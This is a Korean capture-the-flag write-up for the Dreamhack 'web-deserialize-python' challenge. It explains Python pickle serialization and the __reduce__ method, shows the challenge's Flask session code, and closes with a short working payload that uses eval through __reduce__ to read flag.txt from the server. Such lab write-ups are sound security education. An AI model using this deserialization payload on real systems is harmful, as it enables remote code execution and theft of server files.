[Dreamhack] web-deserialize-python
문제 설명
- Session Login이 구현된 서비스입니다.
- Python(pickle)의 Deserialize 취약점을 이용해 플래그를 획득하세요.
- 플래그는 flag.txt 또는 FLAG 변수에 있습니다.
문제 사이트에 접속하면 세션 Create, Check 탭이 존재한다.
Create 탭에 들어가서 만들기 전 쿠키를 확인해보면 아무것도 존재하지 않는다.
Name, Userid, Password를 전부 guest 값으로 주고 Create 버튼을 누르니 세션을 만들어주었다.
check 탭에서 세션을 확인해보면 아래와 같이 Name, Userid, Password에 넣었던 값들이 출력되는 것을 알 수 있다.
파이썬 pickle 모듈은 객체 구조의 직렬화(serialization)와 역직렬화(deserialization)를 위해 사용하는데, 쉽게 말해 파이썬 객체를 저장하거나 전송하기 위해 변환하고, 다시 그 객체로 복원하는 데 사용되는 도구이다.
직렬화를 하는 이유는 데이터를 파일/DB에 저장하거나 또는 세션에 걸쳐 프로그램 상태를 유지하거나, 네트워크를 통해 데이터를 전송하기 위해서이다.
- serialize : 파이썬 객체 계층 구조 -> 바이트 스트림 = pickling
- deserialize: 바이트 스트림 -> 파이썬 객체 계층 구조 = unpickling
pickle 모듈은 다양한 메서드를 지원하는데, 이 중 __reduce__()
메서드에서 취약점이 발생할 수 있다고 한다.
__reduce__()
메서드는 파이썬 객체 계층 구조를 역직렬화(unpickling)할 때 객체를 재구성하는 데 사용되는 튜플을 반환하는 메서드이다.
pickling된 바이트 스트림을 unpickle할 때 pickle 모듈은 먼저 original object의 인스턴스를 만들고 나서 그 인스턴스를 올바른 데이터로 채운다. 이를 위해서 바이트 스트림에는 original object 인스턴스에 특정된 데이터만을 포함한다.
이때, unpickle을 성공적으로 하기 위해서 객체를 어떻게 재구성할지 정의하는 명령 피연산자와 명령어들이 포함되어 있어야 하는데, 이 명령 피연산자와 명령어들은 __recude__()
메서드에서 반환되는 정보들이다.
__reduce__()
메서드의 리턴 값 (보통 2개)
- 호출 가능한 객체
- 호출 가능한 객체에 대한 인자. 호출 가능한 객체가 인자를 받아들이지 않으면 빈 튜플을 제공해야 한다.
이때,
__reduce__()
메서드에서 호출 가능한 객체에 eval 또는 os와 같이 명령어를 실행할 수 있도록 클래스를 임의로 지정할 수 있다면, 이로 인해 RCE와 같은 보안 취약점이 발생할 수 있다.
이번 문제를 풀기 위해선 일단 세션이 어떻게 만들어지는지 보자. info 라는 변수에 {} 로 딕셔너리 형태로 name, userid, password 값이 들어가고 dumps 함수로 직렬화한 후에 이 바이트 스트림을 base64로 인코딩 해준다. 마지막으로는 utf8로 디코딩까지 해주는 걸 알 수 있다.
INFO = ['name', 'userid', 'password']
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
위와 같은 로직으로만 세션을 만들어주면 문제 사이트의 /check_session 경로에서 데이터를 읽어와줄 것이다. 따라서 아래와 같이 __reduce__()
메소드를 이용해 ./flag.txt 파일을 읽는 코드를 만들고 eval 객체를 통해서 b 코드를 실행하는 세션을 만들어주면 flag 값을 획득할 수 있다.
import os, pickle, base64
class a:
def __reduce__(self):
b = "open('./flag.txt').read()"
return (eval, (b, ))
test = {'name': a()}
print(base64.b64encode(pickle.dumps(test)).decode('utf8'))
댓글남기기